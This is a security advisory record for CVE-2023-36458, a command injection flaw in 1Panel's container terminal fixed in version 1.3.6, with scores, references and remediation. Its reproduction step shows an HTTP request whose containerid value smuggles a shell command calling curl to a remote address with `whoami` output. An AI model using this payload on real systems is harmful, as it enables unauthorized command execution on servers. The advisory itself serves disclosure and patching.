{"id":"CVE-2023-36458","aliases":["GHSA-7x2c-fgx6-xf9h","GO-2023-1888"],"title":"1Panel vulnerable to command injection when entering the container terminal","summary":"1Panel vulnerable to command injection when entering the container terminal","severity":"medium","cvss":6.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","vendor":"1Panel-dev","product":"github.com/1Panel-dev/1Panel","ecosystem":"go","affected":["github.com/1Panel-dev/1Panel < 1.3.6"],"patched":["github.com/1Panel-dev/1Panel 1.3.6"],"published":"2023-07-05","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:49:54.370319208Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-7x2c-fgx6-xf9h","references":[{"url":"https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-7x2c-fgx6-xf9h"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-36458"},{"url":"https://github.com/1Panel-dev/1Panel"},{"url":"https://github.com/1Panel-dev/1Panel/releases/tag/v1.3.6"}],"tags":["osv","go"],"epss":0.02313,"epssPercentile":0.82487,"ingestedAt":"2026-09-12T03:13:01.765Z","slug":"CVE-2023-36458","body":"## Overview\n\n### Impact\n\nThe authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.\n\n1. Vulnerability analysis.\n\n```\nbackend\\app\\api\\v1\\terminal.go#ContainerWsSsh\n```\n![image](https://user-images.githubusercontent.com/46734380/249119420-045ec192-250d-4d07-a69e-0bd794cddec7.png)\n\n2. vulnerability reproduction.\n\n```\nGET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nSec-WebSocket-Version: 13\nOrigin: http://192.168.109.152:40982\nSec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==\nConnection: keep-alive, Upgrade\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\nPragma: no-cache\nCache-Control: no-cache\nUpgrade: websocket\n```\n\n3. The successful execution of system commands.\n![image](https://user-images.githubusercontent.com/46734380/249119520-ed2dcc32-be4a-45d8-9286-f9fb778e87da.png)\n\nAffected versions: <= 1.3.5\n\n### Patches\n\nThe vulnerability has been fixed in v1.3.6.\n\n### Workarounds\n\nIt is recommended to upgrade the version to v1.3.6.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/1Panel-dev/1Panel\nEmail us at wanghe@fit2cloud.com\n\n\n## Affected packages\n\n- `github.com/1Panel-dev/1Panel < 1.3.6`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/1Panel-dev/1Panel 1.3.6`","depth":"sunlit","depthScore":35,"depthScoreParts":{"impact":34.7,"likelihood":0.5,"exploitation":0,"ransomware":0},"changes":[]}